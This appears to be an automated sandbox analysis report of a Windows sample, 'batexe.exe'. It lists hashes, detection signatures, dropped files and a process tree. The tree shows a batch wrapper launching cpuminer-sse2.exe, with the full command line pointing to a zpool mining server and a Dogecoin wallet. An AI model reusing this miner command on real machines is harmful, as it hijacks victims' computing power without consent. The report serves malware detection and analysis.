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Analysis

  • max time kernel
    293s
  • max time network
    300s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-ja
  • resource tags

    arch:x64arch:x86image:win10-20231215-jalocale:ja-jpos:windows10-1703-x64systemwindows
  • submitted
    11/02/2024, 11:44

General

  • Target

    batexe.exe

  • Size

    9.4MB

  • MD5

    cdc9eacffc6d2bf43153815043064427

  • SHA1

    d05101f265f6ea87e18793ab0071f5c99edf363f

  • SHA256

    73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

  • SHA512

    fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6

  • SSDEEP

    196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score
7/10
upx

Malware Config

Signatures

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 5 IoCs
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\batexe.exe
    "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2732
    • C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe
      "C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:4684
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\95A8.tmp\batchfile.bat" "
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4808
        • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
          cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          PID:4840

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\93D4.tmp\b2e.exe

    Filesize

    832KB

    MD5

    e1bd95ac3f9c6ce43914de2a53967fee

    SHA1

    3e03982c075df051d5a8dd837f42873f30483faf

    SHA256

    45c3475b58fbaa942be0297167c5c3fbbfe7295aa3fcbb4fb61df1348f55c550

    SHA512

    2166424e86301bbe04fbcce5d0b91562248845c5b1a7e889fee9a95d1c872dd6ea5cc85792b54e6d085095339be2f2b7f30cfd9b40a071b51c96a5009cc96f00

  • C:\Users\Admin\AppData\Local\Temp\95A8.tmp\batchfile.bat

    Filesize

    136B

    MD5

    8ea7ac72a10251ecfb42ef4a88bd330a

    SHA1

    c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

    SHA256

    65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

    SHA512

    a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

  • C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

    Filesize

    2.3MB

    MD5

    4c04147c386ba8792ac6a03069572a8a

    SHA1

    dda67789fc1d0f2469ca95f01a5c81034853ca6a

    SHA256

    c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

    SHA512

    a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

  • C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

    Filesize

    836KB

    MD5

    aeab40ed9a8e627ea7cefc1f5cf9bf7a

    SHA1

    5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

    SHA256

    218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

    SHA512

    c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

  • C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    7.9MB

    MD5

    8559ad5f2771233fac3855b47af524d1

    SHA1

    8224f495f9a002d42596e438616d2cda3f9712c1

    SHA256

    1d33df40fb07e4b4a5abf4665c28c0e5f6756d3c63c8f095da7bb276f790c925

    SHA512

    e032d7279ae6b646b853ebe07eaf6fce90c6695b42a499015b5ae22424ae4518676a67cf96bbafdfb5adadd6a984dc2b6a04fa30dcdc5298f8ea1210bfaf4ce6

  • C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

    Filesize

    606KB

    MD5

    585efec1bc1d4d916a4402c9875dff75

    SHA1

    d209613666ccac9d0ddab29a3bc59aa00a0968fa

    SHA256

    2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

    SHA512

    b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

  • \Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

    Filesize

    1.2MB

    MD5

    7cf672bee2afba2dcd0c031ff985958e

    SHA1

    6b82a205db080ffdcb4a4470fce85a14413f3217

    SHA256

    c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

    SHA512

    3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    9.5MB

    MD5

    f6c3b09dd94e537e5d63c096d00837b6

    SHA1

    c2a3616c0e77b27da2eeb31fc47ed614756f8ece

    SHA256

    02090413fd5d6b91f40f28a06158d649ad5e0bd85da8baf4fedf2badfa268da9

    SHA512

    93d86d0c20b3e10153625b85e3d018fd5de634e61819de862054fe042ae2ccc6201db0a51fd34b6d07471dfd1acc75b26d20c3e636bafaceed3417ed7fed04c2

  • \Users\Admin\AppData\Local\Temp\libstdc++-6.dll

    Filesize

    8.9MB

    MD5

    e2b39a01952037ba30bf22d0382e27f2

    SHA1

    c63afe0808b94435d1735a385958127701da2792

    SHA256

    177e62b08a01f6946e794f7a5be781f99fc40a00ccaa117a95fc6827a1468192

    SHA512

    6c2181378ead745d23c5c6f4d783e47dd9e881d9d48110a4b0f5e2b88b112c55f4af4e595c9f0caf7edab3a035b5404485059472e3258f5a94ca95197855932c

  • memory/2732-5-0x0000000000400000-0x000000000393A000-memory.dmp

    Filesize

    53.2MB

  • memory/4684-6-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4684-50-0x0000000000400000-0x0000000000405000-memory.dmp

    Filesize

    20KB

  • memory/4840-41-0x0000000070800000-0x00000000708BC000-memory.dmp

    Filesize

    752KB

  • memory/4840-43-0x0000000061440000-0x000000006156B000-memory.dmp

    Filesize

    1.2MB

  • memory/4840-42-0x0000000068570000-0x0000000068608000-memory.dmp

    Filesize

    608KB

  • memory/4840-44-0x0000000000F60000-0x0000000002815000-memory.dmp

    Filesize

    24.7MB

  • memory/4840-45-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-40-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-51-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-61-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-66-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-76-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-86-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-91-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB

  • memory/4840-96-0x0000000000400000-0x0000000000667000-memory.dmp

    Filesize

    2.4MB